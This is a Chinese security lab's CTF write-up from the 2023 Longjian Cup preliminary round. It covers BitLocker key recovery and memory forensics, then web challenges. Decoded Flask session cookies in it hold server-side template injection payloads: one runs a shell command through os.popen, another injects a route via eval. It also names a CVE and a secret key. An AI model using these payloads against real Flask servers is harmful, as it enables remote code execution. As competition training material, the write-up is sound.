创安实验室专栏丨2023陇剑杯网络安全大赛预选赛Writeup③

古语有云：“学如逆水行舟，不进则退。”面对如今随时都在变化的网络安全环境更是如此。为此，创信华通微信公众号特开设“创安实验室专栏”，以记录创信华通创安实验室在技术上的探索，加强同行间的交流，相互学习，共同进步。

✦+

BF

给了两个文件，一个磁盘镜像，另一个猜测是内存镜像， DiskGenius 打开 .vmdk 

发现是BitLocker加密的磁盘，但是给了内存镜像，直接尝试 EFDD 提取恢复密钥，先使用 ArsenalImageMounter 将BitLocker加密磁盘挂载起来。

然后EFDD操作如下：

成功获取恢复密钥：

输入恢复密钥：

打开得到 key.txt 

最扯的来了，虽然知道后觉得确实有点像 rot47 ，但是还是觉得很脑洞……

或者 R-studio 直接梭哈。

直接将 calc.exe 的内存映射导出来。

然后将 2844.dmp 修改后缀为GIMP可加载的 .data 格式，使用GIMP打开，然后就是不断地调整位移、宽度。先不断调整位移使之有图像的阴影等，然后宽度适当即可，如下：

或者使用这是Volatility3工具的插件命令 windows，用于执行与Windows相关的分析。通过运行此命令，您将获取有关内存转储中运行的Windows进程、模块、文件和注册表等信息。

然后在其中寻找 calc.exe 和PID，找到这个 Windows Handler 的句柄名。

U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

TMjpxFGQwD:123457

PS C:UsersAdministrator> php -r

"var_dump(md5('accessToken=f412d3a0378d42439ee016b06ef3330c;

zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1'));"

Command line code:1:

string(32) "383c74db4e32513daaa1eeb1726d7255

zyplayer:1234567

CVE-2022-21724:custom.dtd.xml

fscan

flag{WelC0m5_TO_H3re}

ssti_flask_hsfvaldb

PS D:ToolsWebCTFflask-session-cookie-manager> python

.flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c

".eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-

3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE"

{'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']

('os')['popen']('whoami').read()})%}{%endif%}"}

PS D:ToolsWebCTFflask-session-cookie-manager> python

.flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c

".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-

t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"

{'flag': 'redn', 'username': "{%if session.update({'flag':lipsum['__globals__']

['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}

PS D:ToolsWebCTFflask-session-cookie-manager> python

.flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c

".eJx1jUsOgkAQBa-

Cs2lJCEbdcQI9A0w6DdMaYjPgfAwJmbsLC1fq7r2kKrWo6NlZGlhValmiE7yNrkS8y9iSeMQaENvYS-jt-kDXwC8S0PtG0TSVZAxulovCezhcreEZigw-Q2hoDWUVXFhk3GXH0xnyRhULoONnZB-

wCzP6QN0Dqt_9b1AXsMb_8F10jm3AjdAT0mlNx2uUsY.YpIRHQ.qS_PWmxt4i4cjHYBzDz-rUdTZns"

{'username': '{{url_for.__globals__['__builtins__']['eval']

("app.add_url_rule('/Index', 'Index', lambda :'Hello! 123')",

{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}'}

创安实验室